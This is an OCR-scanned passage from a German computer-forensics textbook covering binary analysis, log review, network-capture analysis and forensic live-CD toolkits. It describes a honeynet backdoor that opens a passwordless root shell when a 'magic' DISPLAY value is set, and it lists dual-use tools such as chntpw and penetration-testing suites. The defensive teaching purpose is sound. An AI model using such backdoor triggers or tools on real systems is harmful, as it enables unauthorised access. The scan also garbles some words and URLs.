waitid(P_PID, 6558, OxFFBEF968, 0403 ) (sleeping...)
# exit

waitid(P_PID, 20903, OxFFBEF968, 0403 )
sigaction(SIGINT, OxFFBEF9C8, 0x00000000)
sigaction(SIGQUIT, OxFFBEF9C8, 0x00000000)
sigaction(SIGCLD, OxFFBEF9C8, 0x00000000)
sigprocmask (SIG_SETMASK, OxFFBEFAFC, 0x00000000)
_exit(1)

]
o O O

n
O O O O o

Abb.5-26 Nach Setzen der »speziellen« Display-Variable ist Root-Zugang méglich.

Anhand des Root-Prompts »#« in Abbildung 5-26 ist zu erkennen,
dass beim Setzen der »magischen« Display-Variable pirc eine pass-
wortlose Root-Shell geoffnet wird.

Unbekannte Binirdateien zu analysieren — dies zeigt das Honeynet-
Beispiel deutlich — kann zu einer sehr komplexen Angelegenheit wer-
den. Wenn man mit den Methoden von Angreifern, deren Vorgehen
und Werkzeugen vertraut ist, kann man aber unter Umstinden interes-
sante Informationen erlangen. Die hier vorgestellte, recht einfache
Methode der String-Analyse ist nur der Startpunkt einer umfangrei-
chen Analyse von unbekannten Binirdateien. Durch den Einsatz von
Spezialwerkzeugen konnen noch wesentlich mehr Informationen auch
iiber die mogliche Funktionsweise der unbekannten Datei erlangt wer-
den, gerade wenn der Tatverdachtige versucht hat, eine String-Analyse
zu verhindern.
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5.14 Systemprotokolle

Protokolldateien konnen oft von Angriffen oder von verdachtigen
Anzeichen vor einem Angriff zeugen. Wenn sich ein Angreifer z.B.
nicht die Miihe macht, die Logdateien zu siubern, konnen sie zumin-
dest als Anhaltspunkt fir die Ermittler dienen. Dies setzt natiirlich vor-
aus, dass auf dem betroffenen System die Systemprotokollierung tiber-
haupt aktiviert ist. Die Analyse von Systemprotokollen ist nicht
unbedingt typisch fir eine Post-mortem-Analyse, denn sie kann natur-
lich auch an noch aktiven Systemen durchgefithrt werden und, wie
bereits in Abschnitt 3.4 dargelegt, den entscheidenden Anstofs fiir eine
Ermittlung geben.

Die vollstindige Behandlung der relevanten Logdatei-Eintrage
wiirde den Rahmen dieser Publikation sprengen. Fiir den ersten Uber-
blick soll hier eine grobe Klassifizierung vorgenommen werden. Grund-
sdtzlich lassen sich drei Formen von Logdatei-Eintragen unterscheiden:

Normale Meldungen, die sich aus dem Tagesbetrieb ergeben

(z.B. autorisierte und erwartete Aktivititen auf dem System, auto-
risierte Security-Tests, bekannte Probleme und Fehlermeldungen,
falsch positive Alarme)

Anzeichen von Angriffen oder kritische Systemmeldungen
(z.B. Port-Scans, Bannergrabbing, Schwachstellenprobe, fehlge-
schlagene Angriffsversuche)

Unbekannte Meldungen
Meldungen, die sich nicht klar den oben genannten Formen zuord-
nen lassen

Fur die Bewertung der verschiedenen Protokolleintrage sollte natiirlich
bekannt sein, welche Meldungen normal sind und ab welcher Anzahl
eine Meldung nicht mehr als normal einzustufen ist. Tritt eine Mel-
dung dann besonders hiufig auf, muss herausgefunden werden,
warum diese Meldung auftritt und was die mogliche Ursache dafiir ist.
Das Erkennen von Anomalien ist oft Dreh- und Angelpunkt einer
guten Intrusion Detection.

Welche Ereignisse in Logdateien sollten Thre Aufmerksamkeit erregen?

Fehlgeschlagene Anmeldeversuche (besonders bei Usern mit erwei-
terten Rechten oder Administratoren)

Erfolgreiche Anmeldeversuche im Vorfeld von lokalen Angriffen
oder SU-Versuchen (Switch-User)

Relevante Logdatei-
Eintréige

Was ist normal?
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Aktionen, fur deren Durchfithrung erweiterte Rechte benotigt wer-
den (z.B. Andern von Konfigurationen, Starten oder Stoppen von
Diensten, Hinzufuigen von neuen Komponenten)
System-Shutdown oder Restart

Unerwartete neue Dienste

Unerwartete neue User (besonders User mit erweiterten Rechten)
Unerwartete Fehler an der Hardware

Versuchte bzw. erfolgreiche Zugriffe auf Passwortdateien
Sperrung von Accounts nach fehlerhafter Passworteingabe
Anderungen an den Monitoring- bzw. Audit-Richtlinien
Anderungen oder Loschen von Audit-Daten

Versuchte Benutzung von privilegierten Systemkommandos
Versuchte Zugriffe auf geschiitzte Informationen bzw. Konfigurati-
onen

Setzen des Netzwerkinterface in den sogenannten Promiscuous Mode
(ermoglicht das Sniffen im Netzwerk)

Unerwartete Installation von Software (auch Patches)

Unerwartete Anderungen von Benutzerrechten

Unerwartetes Einrichten eines Domaintrust

etc.

Hinter jedem Event kann ein Sicherheitsvorfall versteckt sein. Aber
auch wenn keine verdichtigen Eintridge in den Protokolldateien auf-
tauchen, kann es zu einem Sicherheitsvorfall gekommen sein. Die fol-
genden drei Abbildungen zeigen beispielhaft einige verdachtige Logda-
tei-Eintrage:

[Sat Jan 22 11:46:40 2003] [notice] child pid 21452 exit signal
Segmentation Fault (11)

Abb. 5-27 \Verddchtiger Eintrag in der Logdatei eines WWW-Servers

5/29/2003,09:17:12,16,9,681, Securi ty,NT-
AUTORITAT\SYSTEM, , TSUNAMI ,MICROSOFT AUTHENTICATION PACKAGE V1 0
alex TOFU 3221225578

5/29/2003,09:17:12,16,2,529, Securi ty,NT-
AUTORITAT\SYSTEM, , TSUNAMI,,alex TOFU 3 NtLmSsp NTLM TSUNAMI

Abb. 5-28 fehlgeschlagene Netzwerkanmeldung an einem Windows-System

May 29 15:03:28 sungrial sshd[17145]: Did not receive identification
string from 217.110.47.227

Abb. 5-29 Anzeichen dafiir, dass jemand den SSH-Port kontaktiert hat, um entweder die
Serverversion oder die unterstiitzten Protokolle zu identifizieren (Bannergrabbing)
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Ein wichtiger Faktor bei der Korrelation der Logdatei-Eintriage von
mehreren Rechnern, der Firewall und einem IDS ist die Systemzeit auf
den einzelnen Systemen oder vielmehr die Differenz zwischen den
jeweiligen Quellen. Es ist mitunter recht schwierig, Logdatei-Eintrige
eines Firewall-Systems bzw. IDS bestimmten Ereignissen auf einem
Host zuzuordnen, wenn diese Systeme nicht zeitsynchron sind. Daher
sollte gelten, dass die Systemzeit auf allen Systemen synchron ist und
mit einer Referenzquelle abgeglichen wird.

5.15 Analyse von Netzwerkmitschnitten

Bei der Analyse von Mitschnitten verdichtigen Netzwerkverkehrs
stellt sich oft die Frage, nach welchem Muster man vorgehen sollte.
Abbildung 5-30 gibt einen Uberblick iiber eine Analysestrategie.

Analyse
Netzwerkmitschnitt

!

Identifikation der verdachtigen Systeme
(Uber Quelladresse, Ports oder ausgehenden Verkehr)

!

Systemzeiten
synchronisieren

Analysieren
aller
ausgehenden
Verbindungen

Offene Ports
beim Opfer
identifizieren

Analysieren des
Verkehrs fur jeden
offenen Port

Opfersystem
identifizieren

Analyse aller
Verbindungen

Analyse des
Payloads

Am Anfang einer Analyse steht oft ein verdiachtiges System, ein ver-
ddchtiger Port oder ungewohnlicher ausgehender Verkehr:

Ist das verdachtige bzw. kompromittierte System bekannt, schaut
man sich die offenen Ports des Systems an und analysiert den
gesamten Verkehr zu und von diesen Ports im Netzwerkmitschnitt.

Analysieren
des Verkehrs

fur jede
externe
IP-Adresse

Abb. 5-30
Analyseablauf bei
Netzwerkmitschnitten
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Hat man nur einen verdichtigen Port, beispielsweise auf der
Firewall, identifiziert, analysiert man alle Verbindungen von und
zu diesem Port und im néchsten Schritt dann den Inhalt der Daten-
pakete (den sogenannten Payload).

Ein eher grof$flichiger Ansatz ist die Analyse aller ausgehenden
Verbindungen oder die separate Analyse der Verbindungen pro
externer IP-Adresse.

Grundsitzlich ist eine Analyse gerade umfangreicher Netzwerkmitt-
schnitte ohne Hilfsmittel kaum noch denkbar. Fiir die Erstellung eines
ersten Gesamtiiberblicks des Netzwerkverkehrs konnen beispielsweise
wireshark?® oder packetyzer*! verwendet werden. Diese Werkzeuge
konnen auch fir die sequenzielle Analyse einzelner Verbindungen her-
angezogen werden. Alternativ lassen sich dafiir auch Werkzeuge wie
tepflow*? oder chaosreader®? einsetzen. Fiir die dann spiter eventuell
benotigte grafische Darstellung mehrerer Ereignisse und Logdateien ste-
hen auch eine Vielzahl von kommerziellen Werkzeugen zur Verfiigung.

20. htip:/lwww.wireshark.org/

21. htip:/lwww.paglo.comlopensourcelpacketyzer

22. htip:/lwww.circlemud.org/~jelson/software/tcpflow/
23. http://computer-forensik.org/tools/
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Toolkits im Uberblick

In diesem Kapitel wird die konkrete Arbeit mit Forensik- und Incident-
Response-Werkzeugen erliutert. Sie lernen die aktuell verfiigbaren
Toolsammlungen kennen und verstehen deren Grundfunktion. Es
werden vorgestellt: FL.R.E., Knoppix Security Tools Distribution,
Helix, Caine, WinTaylor, DEFT, DEFT-Extra, EnCase, dd, ForensiX-
CD, Forensic Acquisition Utilities, AccessData Forensic Toolkit, The
Coroner’s Toolkit und TCTUrtils sowie The Sleuth Kit und Autopsy
Forensic Browser. Der letzte Teil in diesem Kapitel zeigt dann, wie Sie
sich einen eigenen Werkzeugkasten zusammenstellen konnen.

6.1 Grundsatzliches zum Tooleinsatz

Bevor in diesem Kapitel Werkzeuge fiir die Computer-forensische
Ermittlung vorgestellt werden, sollten einige grundlegende Dinge dar-
gestellt werden. Bei der Ermittlung und Aufklirung von Straftaten aus
dem Bereich der Computerkriminalitit oder dhnlich gearteten Delik-
ten dient die Frage des Tooleinsatzes haufig als Anlass, Ermittlungsme-
thoden grundsitzlich zu diskutieren. Unterschiedliche Ansitze der
diversen Forensik-Losungen miissen verstanden werden, damit der
Ermittler sich und andere von der Verlasslichkeit der Ergebnisse tiber-
zeugen kann. Oft bieten nicht-kommerzielle Werkzeuge die fur die
Bewertung von Beweissicherungsverfahren notwendige Transparenz
und lassen sich ideal an die aktuelle Ermittlungssituation anpassen.

Bei der Frage, ob sich Open-Source-Tools in der taglichen Arbeit
besser eignen als klassische kommerzielle Werkzeuge, werden oft
schnell die ideologischen Geschiitze aufgefahren. Dieses aus vielen
Bereichen der IT bekannte Phinomen bietet Stoff fir zahlreiche und
endlose Diskussionen und ist genauso beliebt wie die grundsatzliche
Frage nach dem Einsatz von Tools. Die hier zu beobachtenden Gra-
benkampfe treffen auch das relativ junge Themengebiet der Computer-
Forensik.

Open Source vs.
kommerziell
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Anforderungen an die
Werkzeugwahl

Die Computer-Forensik erfordert sehr oft zwingend den Einsatz
von Werkzeugen fiir die zuverlidssige Sammlung und Auswertung von
Beweisspuren. Die Schwierigkeiten fangen aber schon damit an, ob
man sich lieber auf eine Sammlung in einem Skript zusammengefasster
Kommandozeilenwerkzeuge unter Linux oder auf eine GUI-basierte
Windows-Applikation verlassen sollte. Die landlaufige Meinung, dass
auch bei einer juristischen Wiirdigung eines Sicherheitsvorfalls fur die
Ermittlung ausschliefflich kommerzielle Werkzeuge zum Einsatz kom-
men miissen, ist allerdings iiberholt.

Die Frage, ob bei Computer-forensischen Ermittlungen Open-
Source- oder Closed-Source-Software der Vorrang gegeben werden
sollte, lasst sich nicht absolut beantworten. Die Vorteile von Open-
Source-Software in Sachen Transparenz und Nachvollziehbarkeit lie-
gen sicherlich klar auf der Hand. Allerdings niitzt ein veroffentlichter
Quelltext nur, wenn sich jemand die Miihe macht, diesen auf Fehler zu
tberpriifen. Kritische Fragen zielen oft in den Bereich der Vertrauens-
wirdigkeit der Entwicklergemeinde bzw. der Verifikation, ob nicht
eventuell auf dem Weg vom Entwickler zum Ermittler schadhafte
Funktionen in den Quellcode eingeschleust wurden. Hat der Ermittler
hier kein schliissiges Verfahren, um Manipulationen an seinen Tools
oder funktionelle Fehler zu erkennen, konnte es fiir die weitere Argu-
mentation schnell eng werden.

Egal fur welches Werkzeug (Text- oder GUI-basiert, Windows
oder Linux) man sich entscheidet, es gibt praktische Fragen, die es zu
beantworten gilt:

Fiir welche Phase im S-A-P-Ermittlungsprozess ist das Tool geeignet
(siche Abschnitt 4.4)?

Was kann das Tool leisten?

Was sind die Einschrankungen dieses Werkzeugs?

Wie einfach lasst sich das Werkzeug automatisieren (Daten in das
Tool einlesen bzw. Daten aus dem Tool exportieren etc.)?

Kann ich nachweisen, dass ich das Tool von einer vertrauenswiirdi-
gen Quelle habe?

Wie vergewissere ich mich, dass das Tool nicht manipuliert wurde?
Ist die Grundfunktionsweise des Tools bekannt und kann man die
Ergebnisse dieses Werkzeugs auch »zu Fuf$« erkliren?

Arbeitet das Werkzeug nachvollziehbar und kommen andere Per-
sonen bei gleicher Anwendung zum gleichen Ergebnis?

Gibt es eine bekannte Fehlerrate oder Fehlfunktionen, die die
Ergebnisse anzweifelbar machen konnten?

Ist das verwendete Werkzeug unter Experten allgemein anerkannt
bzw. in vertrauenswiirdigen Publikationen beschrieben worden?
Beherrsche ich das Werkzeug ausreichend, um Fehler zu erkennen?
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Bei der Wahl der geeigneten Analyseplattform darf sich der Ermittler
nicht einschrinken lassen. Die Erfahrung zeigt, dass man bei der
Dateisystemuntersuchung fiir die Analyse immer das Betriebssystem in
Erwigung ziehen sollte, unter dem der verdichtige Datentriger aktiv
war. So ist beispielsweise die Analyse eines ext2- bzw. etx3-Dateisys-
tems unter Linux oft effektiver, da hier auf die im Kernel bereits vor-
handenen bewahrten Treiber zurtickgriffen werden kann. Unter Win-
dows muss der Zugriff durch entsprechende Tools erst nachgebildet
werden. Das Ergebnis zeigt sich in der Qualitit der vorhandenen
Werkzeuge: Nicht alle Analysetools sind unter Windows in der Lage,
geloschte Dateien eines Image mit ext3-Dateisystem vollstindig darzu-
stellen und zu extrahieren. Im Gegensatz dazu ist es oft ratsam, ein
Image eines NTFS-Dateisystems unter Windows zu analysieren, da
sich z.B. der Umgang sowohl mit komprimierten als auch mit EFS ver-
schliisselten Dateien einfacher gestaltet.

Eigentlich versteht es sich von selbst, aber es kann jedem Ermittler
nur dringend empfohlen werden, mit seinen Tools ausreichend zu
uben, um deren Wirkungsweise und Fehleranfilligkeit in besonderen
Situationen zu erkennen. Fiir diesen Zweck konnen diverse Ubungs-
Images verwendet werden'.

Grundsitzlich gilt, dass kluge Ermittler sich nicht nur auf ein Tool
allein verlassen sollten. Sorgfaltspflicht bedeutet nicht nur, dass man
eine liickenlose, nachvollziehbare Dokumentation der durchgefiithrten
Aktionen erstellt, sondern die gewonnenen Ergebnisse auch mit alter-
nativen Werkzeugen verifiziert.

6.2 Sichere Untersuchungsumgebung

Gerade wenn die wihrend der Untersuchung gewonnenen Erkennt-
nisse spater vor Gericht verwendet werden sollen, ist es wichtig, dass
wihrend der Ermittlung zu keiner Zeit Zweifel daran bestehen, dass
die Werkzeuge fiir die Ermittlung zuverldssig arbeiten und dass die
Ergebnisse unverfilscht sind.

Wenn man frithzeitig an ein kompromittiertes System oder Netz-
werk gelangt, darf man aulerdem nicht vergessen, dass der oder die
Titer vielleicht noch vor Ort sein konnen. Aus diesem Grund ist es
sehr wichtig, die Workstation des Ermittlers ausreichend vor unbe-
rechtigtem Zugriff abzusichern. Aber nicht nur das System, mit dem
die Untersuchungen durchgefithrt werden, sollte zugriffsgesichert sein,
auch die lokal gespeicherten Ergebnisse und Notizen sind verschliisselt

1. Unter http://computer-forensik.org/hilfsmittel/ finden sich einige Test-Images.

Analyseplattform

Zuverldssige Werkzeuge

Eigene Workstation
absichern
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Vertrauenswiirdige
Systemdateien

zu speichern. Es wire schon sehr unangenehm, wenn ein Ermittler
selbst Opfer eines Angriffs wiirde, weil er grundlegende Sicherheits-
mafSnahmen vernachlissigt.

Wie in den vorherigen Kapiteln zu lesen war, ist es fiir einen
Angreifer, der bereits ein System Uibernommen hat, sehr einfach, die
Systemdateien auszutauschen oder anderweitig zu modifizieren. Um
bei der Sammlung der fliichtigen Daten des Systems auf Nummer
sicher zu gehen, sollten daher eigene vertrauenswiirdige Systemdateien
verwendet werden. Hierbei ist aber auch darauf zu achten, dass die
»eigenen« Tools keine Bibliotheken des kompromittierten Systems
verwenden; die Tools sollten deswegen statisch kompiliert sein?.

Cygwin® zum Beispiel eroffnet einem Unix-affinen Ermittler die
Moglichkeit, sich ohne Probleme auf einem Windows-Betriebssystem
zu bewegen, ohne auf seine BASH bzw. TCSH und die anderen kleinen
Helferlein verzichten zu miissen. Neben einer vollwertigen X-Win-
dow-Umgebung finden sich fast alle bekannten GNU-Tools oder las-
sen sich mit einer eigenen Entwicklungsumgebung fiir Cygwin tiberset-
zen (siche Abb. 6-1).

Cygwin bietet eine gute Basis, um mit den gewonnenen Ergebnis-
sen zuverldssig und schnell umzugehen.

Fur Solaris und Linux finden sich z.B. unter hitp://fire.dmzs.com/
oder htip:/lwww.e-fense.com/belix/downloads.php statisch vorkompi-
lierte Systemdateien fir die erste Analyse des Systemzustands und die
Sicherung von fliichtigen Daten. Zusitzlich zu den Systemdateien, die
in der Cygwin-Umgebung enthalten sind, findet man z.B. unter
hitp:/lunxutils.sourceforge.net/ weitere native WIN32-Tools, die nur
eine Microsoft-C-Laufzeitbibliothek (msvcrt.d11) benotigen. Es steht
jedem frei, diese Tools um weitere eigene Systembefehle zu ergianzen
oder sich eine eigens angepasste Umgebung zu erstellen.

2. Rootkits konnen auch trojanisierte Bibliotheken enthalten.
3. bttp:/hwww.cygwin.com/
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Abb. 6-1
=- fcygdrivefcMokumente und Einstellungensalex - |00 x
c J—|J Cygwin-Umgebung

unter Windows XP

6.3 F.LR.E.

Die Toolsammlung »Forensic and Incident Response Environment«  Systemdateien, Duplizier-
(ELR.E.), fruher unter dem Namen Biatchux bekannt, bietet einem  und Forensik-Tools
Ermittler schnellen Zugriff sowohl auf statisch vorkompilierte System-

dateien fur verschiedene Betriebssysteme als auch auf leistungsfihige

Duplizier- und Forensik-Tools. Im Gegensatz zu der sehr niitzlichen,

ebenfalls von der CD lauffihigen Linux-Distribution Knoppix* wird

der Fokus bei EI.R.E. aber verstirkt auf Security- und Forensik-Tools

gelegt. Auch wenn etwas in die Jahre gekommen, bietet EL.R.E. auch

bei dlterer Hardware noch viele Moglichkeiten.

4.  bttp:/lwww.knopper.net; s.a. Abschnitt 6.4
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ELR.E. kann fiir folgende Titigkeiten verwendet werden:
Forensische Analysen bzw. Datenrettung
Sofortiges Setup einer sicheren Untersuchungsumgebung. EI.R.E.
mit Sleuth Kit (siehe Abschnitt 6.14), Autopsy Forensic Browser
(siehe Abschnitt 6.15), mac-robber, Isof, memfect usw.; es enthilt
u.a. Perl 5.6.1 mit Large File Support.
Incident Response an Live-Systemen
Es sind viele Windows- und Unix-Tools enthalten, um die fliichti-
gen Daten eines gehackten Systems zu sammeln.
Virusscan
Fur die Virenanalyse ist F-Prot 3.11beta enthalten. Dies ermoglicht
es dem Ermittler, auf dem zu analysierenden Dateisystem nach
Wiirmern, Viren oder Trojanern zu suchen.
Penetrationstest
Neben den Standardtools, um einen Penetrationstest durchzufithren,
finden sich auch einige Wireless-LAN-Erweiterungen auf der CD.
Abb. 6-2 [EJFIRE - Forensic and Incident Response Environment
Startbildschirm von F.I.R.E.
unter Windows

Open forensic cmd shell

Start VINC in listen mode
IRC support for FIRE
Read Documentation
Browse CD contents

Local Analysis/Report

ELR.E. kann als ISO-Image aus dem Internet heruntergeladen wer-
den’. Méchte man noch weitere Werkzeuge hinzufiigen, lisst sich das
ISO-Image als Loopback-Device lokal mounten.

Es befinden sich auf der CD statisch vorkompilierte Systemwerk-

zeuge fiir Solaris, Linux und Windows (siehe Abb. 6-3 bis Abb. 6-5).

http://sourceforge.net/projects/biatchux/



Lizenziert fur 2109487.

© 2014 dpunkt. Alle Rechte vorbehalten. Keine unerlaubte Weitergabe oder Vervielfaltigung.

6.3 F.IR.E.

163

o

Fie  Edit  View

autopsy-perlce
bash
bouncer
chattr
COMpress
cp

cpio
crypteat
cut

date
deale
deat

alex@ hercules;) __Lrl_y'cd_lﬁ_mt-ﬁl_n

Terminal

fsck
fsck.ext2

Go  Help

.[alexahercules linux2.2_x86]1# pwd
J/mnt/cdron/statbins/linux2. 2_x86
[alex@hercules linux2.2_x86]# ls

fsck.ext3
fsstat
grep
Bunzip
gzip
halt
hfind
icat
ifconfig
ifind
ils
istat

l[alex@hercules linux?2.2_x86]#

losetup nkfs
lsattr mount
lsof netstat
mac-robber ps
mactime pstree
md5 pwd
mdSdeep rda-static
mdSsum Tedir
memfetch Tm
mii-tool Toute
mkdir Tpm
mke2fs sed

shal
sort
sorter
ssh
stat
strace
strings
SYNC
tar
tepdump
testdisk_static
top

tune2fs
umount
utmpdump

we
wget
who
Xargs
zcat

] ]

i

alex@alex_suny/mnt/cdrom/statbins/solaris_2.7

.RERDME

Forensic Cmd Shell

Abb. 6-3
Statisch kompilierte Linux-
Systemdateien von F.I.R.E.

Abb. 6-4

Statisch kompilierte
Solaris-Systemdateien
von F.LR.E.

Abb. 6-5

Statisch kompilierte
Windows-Systemdateien
von FI.R.E.
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Abb. 6-6

F.L.R.E. verfiigt (iber eine
komplette X-Window-
Umgebung.

Der Hauptbestandteil von EI.R.E. ist eine kleine, auf Red Hat basie-
rende Linux-Distribution, die von der CD gestartet und betrieben wer-
den kann. Bootet man das zu untersuchende System mit dieser CD, hat
man die Moglichkeit, eine umfassende Analyse durchzufiithren. Das
betroffene System wird mit der EI.R.E.-CD gebootet und die vorhan-
denen Dateisysteme werden read-only gemountet. Es werden FAT-,

NTFS-, ext2-, ext3- und ReiserFS-Partitionen unterstiitzt. Die
erfassten Daten werden in einer RAM-Disk zwischengespeichert und
konnen dann tiber das Netz oder auf eine Diskette gespeichert werden.
Der GrofSteil der in diesem Buch beschriebenen Open-Source-Tools ist
auch in EL.R.E. enthalten.

right click on the

desktop for men: ;

arenrics LacHl Drives

Aus einem Forensik-Menti heraus konnen sofort alle lokalen Dateisys-
teme gemountet, nach bestimmten Dateien analysiert oder forensisch
dupliziert werden.
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Forensics Menu Abb. 6-7
Forensics!
All data or generated reports will be located in Adata FIR.E. verfu‘gt auch tiber
Conzider adding a RamDisk for Temporary storage, . . .
Make your selection below: ein reines Textmendi.
jountDresR0 S S

MourtDrus  Unmount all dr‘wes o0 this beFor*e endmg your sessionl !l
etlind2Reg  Look for and obtain Win32 Registries from local machine
etlUnixAuth  Look for and obtain Unix Auth Files from local machine

aphicimgs  Look for images- also runs Steglletect
lac—Robber Run Mac—-Robber on all mounted RO filesystems

krootkit Ownage method analysis via chkrootkit of RO mounted filesys
ilefinomaly  File Anomaly detection for misnamed filename suffixes

gAnalysiz  Graphic Image analysis tools for capturing ewidence
btainlrvIng Create drive image for storage in a FIRE repository

topsySetup  Setup Autopsy
backup to top lewel menu

6.4 Knoppix Security Tools Distribution

Weiter oben wurde die von CD lauffihige Linux-Distribution mit sehr
guter Hardware-Erkennung bereits erwahnt. Eine spezielle Variante
stellt die Knoppix Security Tools Distribution (STD)® dar. In dieser
angepassten Version findet sich neben den iiblichen Security-Tools” aus
den Bereichen Penetration-Testing bzw. Vulnerability Assessment eine
Menge an sinnvollen Forensik- und Incident-Response-Werkzeugen.

ey | Abb. 6-8

Localion €41 View Go Buokmarks Tooks Sefings Window belp Knoppix Security Tools

Tv Vﬁ

=y

B Locaton ([Emp mocaresavarmes on s)E Distribution im Einsatz
) 5TD im0 wg)drtemel Storm Corter ) infoSysSec M)CERT s Onling B Tools M) Linux Securly  s)DShield o) SF »
0
AUTOPSY
1.70

hitp: / fwee. sTeuthki t.org/autopsy

=8 %

e | [ st |

(423003 20% Ele—e " e NN

6.  http:/lwww.knoppix-std.org/
7. bttp:/lwww.knoppix-std.org/tools.html
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Abb. 6-9
Startoberflédche von Helix
unter Windows

Live-Response-
Funktionalitdt

6.5 Helix

Eine weitere von CD lauffihige Linux-Distribution wird von der ame-
rikanischen Firma e-fense Inc. zur Verfugung gestellt. Die »Incident
Response & Forensics Live CD« Helix® basiert auf Ubuntu, womit die
Hardware-Unterstiitzung vorbildlich ist. Helix ist als Hybrid-CD auf-
gesetzt, d.h., dass auch ein unter Windows lauffihiger Bereich enthal-
ten ist. Die bereits bei FI.R.E. erwidhnten statisch vorkompilierten
Bindrdateien fur Windows, Solaris und Linux sind ebenfalls auf Helix
enthalten. Die nur gegen Bezahlung erwerbbare Enterprise-Version
von Helix bietet neben einigen Case-Management-Werkzeugen auch
umfangreiche Supportmoglichkeiten durch den Hersteller. Die derzeit
zusitzlich verfiigbare freie Version ist aber ebenfalls einsetzbar.

© HELIX2009R1 (01/06/2009) BE <]

Datei  Schrellstart  Seite  Hilfe

MHELIN ™ i
=

Sofort-Sicherung eines Windows-Systems via dd.

Helix lasst sich sehr gut fiir die Sammlung der fliichtigen Daten von
einem verdichtigen Windows-System verwenden. Durch den Einsatz
diverser unter Windows lauffihiger GNU-Unix-Tools ist auch die
Erstellung von forensischen Images moglich.

Helix bietet eine Live-Response-Funktionalitdt fiir Windows, die
durch ihren hohen Integrationsgrad besticht. Tools zum Erstellen von
forensischen Datentriager-Images oder fiir die Analyse der laufenden
Prozesse sind sofort einsetzbar. Die gesamte Live-Response-Umgebung

8. http:/lwww.e-fense.com/belix/
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ist fiir die Ubertragung mit Netcat vorkonfiguriert. Man muss nur die
IP-Adresse und den entsprechenden Port des Analysesystems angeben,
dort einen Netcat-Listener starten und schon werden alle Ausgaben
dorthin umgeleitet. Alternativ kann auch auf ein Windows-Share im
Netzwerk geschrieben werden. Dies ist aber kritisch zu priifen, da das
Netzwerk nicht immer als sicher einzustufen ist.

€ HELIX2009R1 (01/06/2009) ™ D'Eﬁ Abb. 6-10
Dakei  Schnellstart  Seite  Hifs Ein komfortables Men(i
eI ™ i - ELECT » COMPLITER
- — = - erleichtert die Image-
Sofort-Sicherung. Erstellung.

Destination:

y A VWorensicstimagest

Image-Datei:

image dd

defaul

= - ~ Seitelvon2

Wird ein zu analysierendes System mit Helix gebootet, kann man mit
der dann zur Verfiigung stehenden Linux-Umgebung schnell und pro-
blemlos Post-mortem-Analysen durchfithren. Neben einer Sammlung
komplett vorkonfigurierter Tools wie Autopsy finden sich dort sehr
viele niitzliche und einsatzbereite Werkzeuge. Das Bootmenii ist ahn-
lich dem von Knoppix aufgebaut und bietet auch die Moglichkeit der
Anpassung an die lokalen Sprachgegebenheiten. Im Gegensatz zu
Knoppix lasst Helix etwaige vorhandene Swap-Partitionen unangetas-
tet, sodass keine Spuren auf dem zu analysierenden System veriandert
werden (siehe Abb. 6-11).

Ist Helix gebootet worden, kann man unter dem benutzten X-
Window-Manager XFC4 das vorkonfigurierte Forensik-Menu ver-
wenden. Alle nétigen Tools sind direkt zugreifbar. Alle Ein- und Aus-
gaben in der verwendeten Shell werden automatisch in das in der
RAM-Disk angelegte Home-Verzeichnis protokolliert. Diese miissen
vor dem Herunterfahren gesichert werden.
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Abb.6-11

Boot-Screen, wenn

ein System mit Helix ™e
gebootet wird H- ‘ ’X

Incident Response, Electronic Discovery, Computer Forensics Live CD

Boot into the Heli:

Abb. 6-12
X-Window-Oberfliche
von Helix mit Autopsy,

Linen und Adepto

@ Applications Places System @ 0

@ Autopsy Forensic Browser - Mozilla Firefox
il

le Edit Wiew History Bookmarks TIools Help

@ ﬁ? |ﬂ}_, http:/flocalhost:999%/autopsy | ".‘ |[G__|' -Q‘

Most Visited = 4 Getting Started [5]Latest Headlines =

WARNING: Your browser currently has Java Script enabled.

You do not need Java Script to use Autopsy and it is recommended that it be turned off for
security reasons.

Autopsy Forensic Browser 2.20

(adep

CaseinuX ACOUISIL O UTIlioy;

EnCase(R) Linkn (6.12.0.21) Guidance Software, Inc (ta} Enter a user mame to proceed:

Code Tupe: Sectors Size LP Lahel Systen Size Alexander Geschonneck

Enter a case number {optional ):
sdal /dev/sdal 32,068 500931501

NIFS 67087440 32.0GB

Disk? /dev/scd0 Lirmx 1427524 Sectors
Size 697,018
No Partitions Found

|E| [3 autopsysh |[@ autopsyF.. ||
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Neben vielen System-Tools sind auch zahlreiche Incident-Response-
und Forensik-Hilfsmittel auf der Helix-CD wiahrend der Laufzeit von
Linux enthalten:

sleuthkit

Brian Carriers Werkzeugsammlung fur Dateisysteme
autopsy

WWW-Frontend fiir sleuthkit

mac-robber

In C programmierter grave-robber-Ersatz

fenris

Tool zum Debugging, Tracing und Dekompilieren
wipe

Sichere Dateiloschung

MAC_Grab

e-fense MAC time utility

GRAB

e-fense Forensic Acquisition Utility (Frontend fiir sdd/dd/ dcfldd)
basiert auf AIR

foremost
Stellt geloschte Dateien anhand des Headers und Footers wieder

her
fatback

Analysiert geloschte Dateien auf einem FAT-Dateisystem

PyFLAG

Forensic and Log Analysis GUI

mdSdeep

Erstellt rekursiv MDS5-Prifsummen von Dateien und Verzeichnissen
shaldeep und sha256deep

Erstellt rekursiv SHA1-Priifsummen von Dateien und Verzeichnissen
dcfldd

dd-Ersatz mit Prifsummen, Logging etc.

sdd

Erweitertes performantes dd

Faust

Analysiert ELF-Binaries und Bash-Skripte

e2recover
Stellt geloschte Dateien von einem ext2-Dateisystem wieder her
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Pasco
Analyse von lokalen Internet-Explorer-Spuren

Galleta

Analyse von Internet-Explorer-Cookies
Rifiuti

Analyse des Windows-»Papierkorbs«
Bmap

Erkennen und Wiederherstellen von Daten im File Slack
Ftimes

Werkzeugsammlung zum Sammeln von forensischen Daten
chkrootkit

Suche nach Rootkits

rkbunter

Suche nach Rootkits

ChaosReader

Analyse und Extraktion von Daten aus tcpdump-Mitschnitten
Ishw

Hardware-Lister

logsh

Protokollierung der Terminal Session
ClamAV

ClamAV Anti Virus Scanner

E-Prot

F-Prot Anti Virus Scanner

2Hash

Parallel arbeitende Hash-Werkzeuge
glimpse

Indexbasierte Suche

Outguess

Steganografieerkennung

Stegdetect

Steganografieerkennung

Reguviewer

Windows Registry Viewer

Chntpw

Andern von Windows-Passwortern
Grepmail

Suche in Mailboxen
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logfinder
Auffinden von Logdateien

Retriever
Auffinden von Bildern, Videos, Dokumenten und Webmail-Spuren

Adepto
e-fense Forensic Acquisition Utility (Frontend fiir sdd/dd/dcfldd)

memdump
TCT’s Linux Memory Dumper

whirlpooldee

Rekursive SHA-Priifsummenerstellung mit Datenbank

LibPST (ReadPST)
Konvertiert PST in das mbox-Format

LibDBX (Readdbx)
Konvertiert DBX in das mbox-Format

